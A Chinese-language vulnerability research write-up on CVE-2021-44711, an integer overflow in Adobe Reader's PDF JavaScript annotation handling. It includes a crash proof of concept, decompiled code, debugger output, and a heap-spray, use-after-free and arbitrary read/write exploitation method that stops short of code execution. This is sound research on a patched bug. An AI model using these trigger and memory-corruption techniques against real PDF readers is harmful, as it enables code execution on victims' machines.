Adobe Reader 漏洞 CVE-2021-44711 利用淺析
背景
Adobe Reader 在今年 1 月份對外發布的安全補丁中,修復了一個由 Cisco Talos安全團隊報告的安全漏洞,漏洞編號 CVE-2021-44711,經過分析,該漏洞與我們完成漏洞利用所使用的漏洞一致. 漏洞存在於與註釋進行互動的 JavaScript 程式碼中, 通過構造特定的 PDF 文件可以觸發此漏洞, 從而導致任意程式碼執行.
軟體版本
Adobe Acrobat Reader DC 2021.007.20099
漏洞分析
Adobe Reader 支援在 PDF 文件中嵌入 JavaScript 程式碼以對 PDF 文件中的註釋進行操作. 然而 JavaScript 中對註釋進行操作的 Annotation
物件在實現上存在整數溢位漏洞.
poc 如下:
var _obj = {}; _obj[-1] = null; var _annot = this.addAnnot({page:0, type:"Line", points:_obj});
Annotation
物件的 points
屬性是一個由兩個點 [[x1, y1], [x2, y2]] 組成的陣列, 指定預設使用者空間中直線的起點和終點座標.
但是 JavaScript 是弱型別語言, 這意味著對於所有賦予的值都會首先嚐試轉轉換成所需的目標型別. 所以當賦予一個在索引 -1
處存在元素的陣列時也會嘗試解析. 漏洞就存在於對 -1
的錯誤處理之中.
對陣列的型別轉換(此處的陣列、元素、型別等與 JavaScript 中的概念並不一一對應, 但具有相關性, 下文都不作嚴格區分)位於 sub_22132EC6
函式當中:
// ... do { v13 = (char *)(*(int (__thiscall **)(_DWORD, _DWORD))(dword_22747430 + 28))( *(_DWORD *)(dword_22747430 + 28), *(unsigned __int16 *)(v11 + 16)); v14 = atoi(v13); v15 = v28; v16 = v14; v29 = 0x30; v17 = v28[1] - *v28; HIDWORD(v24) = *v28; v25 = v16; if ( v17 / 0x30 > v16 ) { v18 = HIDWORD(v24); } else { resize(v28, v16 + 1, (int)v31); v18 = *v15; v16 = v25; } sub_2212379A(v18 + 0x30 * v16, (_DWORD *)(v11 + 0x18)); result = sub_2212A202((int *)&v26); v11 = (int)v26; } while ( v26 != *v12 ); // ...
函式當中 v13
為陣列元素的索引, v17
為陣列當前的總大小, 0x30
為每個元素的大小. 此處應該是以線性模式儲存陣列元素, 因此陣列的大小為 ArraySize = (MaxIndex + 1) * 0x30
, 因為索引 0
也要佔用空間, 所以總大小需要加 1.
當遇到索引 -1
時, 加 1 溢位為 0, 因此 resise()
函式的目標 size 為 0, 避免了重新分配過大記憶體導致的崩潰. 事實上, 如果 size 過大會在 resize()
函式中丟擲異常:
eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0 eip=0adcfd1e esp=030fb710 ebp=030fb744 iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282 Annots!PlugInMain+0x51eee: 0adcfd1e 817d0855555505 cmp dword ptr [ebp+8],5555555h ss:0023:030fb74c=ffffffff 0:000> p eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0 eip=0adcfd25 esp=030fb710 ebp=030fb744 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 Annots!PlugInMain+0x51ef5: 0adcfd25 0f879e000000 ja Annots!PlugInMain+0x51f99 (0adcfdc9) [br=1] 0:000> eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0 eip=0adcfdc9 esp=030fb710 ebp=030fb744 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 Annots!PlugInMain+0x51f99: 0adcfdc9 e8a9fa0000 call Annots!PlugInMain+0x61a47 (0addf877) 0:000> (12b4.7a4): C++ EH exception - code e06d7363 (first chance) WARNING: Step/trace thread exited eax=00000024 ebx=030fc328 ecx=030fae7c edx=77ec2740 esi=7a76ab50 edi=030fb1fc eip=77ec2740 esp=030fae7c ebp=030fae8c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 77ec2740 c3 ret
通過 resize()
函式後, 呼叫 sub_2212379A()
函式對當前索引指向的元素進行型別轉換. 函式的第一個引數為當前元素物件, 通過陣列基址加偏移量得出, 即 v18 + 0x30 * v16
. 由於 v16
為 -1
, 所以導致了越界訪問, 從而導致崩潰:
(628.f7c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=d62490a0 ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0 eip=0ae83a2d esp=0311b92c ebp=0311b954 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 Annots!PlugInMain+0x5bfd: 0ae83a2d 833f01 cmp dword ptr [edi],1 ds:0023:ffffffd0=????????
漏洞利用
到此為止僅僅是一個記憶體越界訪問的漏洞, 然而幸運的是這是一個對元素進行型別轉換的函式, 針對元素不同的型別提供了大量的轉換函式:
int __thiscall sub_221289D1(_DWORD *this, _BYTE *a2) { int result; // eax result = (int)a2; *a2 = 1; switch ( *this ) { case 0: result = sub_22128B51(a2); break; case 1: result = sub_2216D093(a2); break; case 2: result = sub_222657E3(a2); break; case 3: result = sub_22266607(a2); break; case 4: result = sub_222668EA((uintptr_t)this, (int)a2); break; case 5: result = sub_22266890(a2); break; case 6: result = sub_221377AC(a2); break; case 7: result = sub_22137970(a2); break; case 8: result = sub_22132C7F(a2); break; case 9: result = sub_221681B8(a2); break; case 0xA: result = sub_2213F311(a2); break; case 0xB: result = sub_22168060((unsigned int)this, (int)a2); break; case 0xC: result = sub_22170AE1(a2); break; case 0xD: result = sub_221754BB(a2); break; case 0xE: result = sub_2226621E(a2); break; case 0xF: result = sub_221702EF(a2); break; case 0x10: result = sub_22265C44(a2); break; case 0x11: result = sub_2226583D(a2); break; case 0x12: result = sub_22265338(a2); break; case 0x13: result = sub_2213EDB4(a2); break; case 0x14: result = sub_22132EC6(a2); break; case 0x15: result = sub_2213F9FE(a2); break; case 0x16: result = sub_22265065(a2); break; case 0x17: result = sub_222665E8(a2); break; case 0x18: result = sub_22265206(a2); break; case 0x19: result = sub_22266A83(a2); break; case 0x1A: result = sub_22265445(a2); break; default: return result; } return result; }
這也就為我們提供了豐富的漏洞利用原語. 我們可以提前佈局記憶體偽造元素物件, 並通過修改功能號 *this
來呼叫任意一個型別轉換函式.
通常, 我們期待得到一次越界寫的機會或者 UAF 的機會. 在這個 case 中, 越界寫很難得到, 雖然在幾個分支函式中存在越界寫的可能, 但大多都難以到達或者越界寫後難以返回. 相對比來說, UAF 更為容易, 在多個分支函式中均存在對成員物件的析構. 其中最為穩定, 干擾最少的應該是功能號為 0x1a
的函式 sub_22265445
.
偽造物件與記憶體佈局
為了偽造元素物件, 我們需要陣列被構造為一個合適的大小, 因此修改 poc 如下:
var _annot = this.addAnnot({page:0, type:"Line"}); var _obj = {}; _obj[2] = 2; _annot.points = _obj; _obj[-1] = null; _annot.points = _obj;
偽造的物件只需要構造出功能號和需要 free 的目標物件指標即可:
fakelement = new Array(0x10); fakelement[11] = 0x1a; fakelement[12] = 0x20000048;
其在記憶體當中如下
| | | | | Array Object -> +----------+----------+----------+----------+ | | | capacity | length | 0x10 -> +----------+----------+----------+----------+ | | | | | 0x20 -> +----------+----------+----------+----------+ | | | | | 0x30 -> +----------+----------+----------+----------+ | | | | | 0x40 -> +----------+----------+----------+----------+ | | | | | 0x50 -> +----------+----------+----------+----------+ | | | | | fake element -> +----------+----------+----------+----------+ | | | func id | | 0x70 -> +----------+----------+----------+----------+ | free ptr | | | | 0x80 -> +----------+----------+----------+----------+ | | | | | base -> +----------+----------+----------+----------+ | | | | |
這裡的 free ptr 需要結合一個資訊洩露來完成, 但是在 32 位上, 我們可以直接通過 Array
物件堆噴來得到穩定的地址 0x20000048
; 另一方面, 通過 Array
物件可以更方便的完成後續的任意讀寫.
所以這裡我們需要完成兩次堆噴:
-
一次是
0x1a
大小的Array
物件, 用於通過漏洞越界訪問到我們偽造的記憶體當中. -
一次是
0x1ffd
大小的Array
物件, 用於產生穩定的地址並得到一個 UAF 的物件進行後續利用.
任意地址讀寫
佈局完成後, 觸發漏洞我們可以得到一個位於地址 0x20000048
處的被 free 的 Array
物件.
此時我們通過 ArrayBuffer
搶佔這塊被 free 的記憶體, 可以實現 Array
物件和 ArrayBuffer
的 overlap.
Array
物件的 lengh
屬性與 ArrayBuffer
物件的 length
屬性在記憶體佈局中處於同一位置, 然而兩者的定義不同: Array
物件的 length
屬性指的是元素的個數; 而 ArrayBuffer
物件的 length
屬性則是指以 uint8 為單位的空間大小. 因此被 overlap 的 Array
物件的 length
變大, 實現了越界讀寫.
為了更進一步實現任意讀寫, 可以釋放掉被 free 的 Array
物件的下一個 Array
物件, 並用 ArrayBuffer
物件搶佔, 然後通過我們的越界讀寫能力修改 ArrayBuffer
的 length
為 0xffffffff
.
後續
實現了任意讀寫之後, 接下來任意程式碼執行的工作就比較輕鬆了. 由於沒有太多新奇的內容, 本文就不再贅述.
總結
本文對 CVE-2021-44711 漏洞進行了分析並介紹了一種利用方式. 由於漏洞本身的特性可能還存在許多其他的利用方式和需要改進的地方, 例如能不能通過越界寫而不是 UAF 的方式、堆噴能不能由兩次改為一次、任意地址讀寫實現的其他方式等都還可以進行探索. 本文中可能出錯的地方還望能夠指正.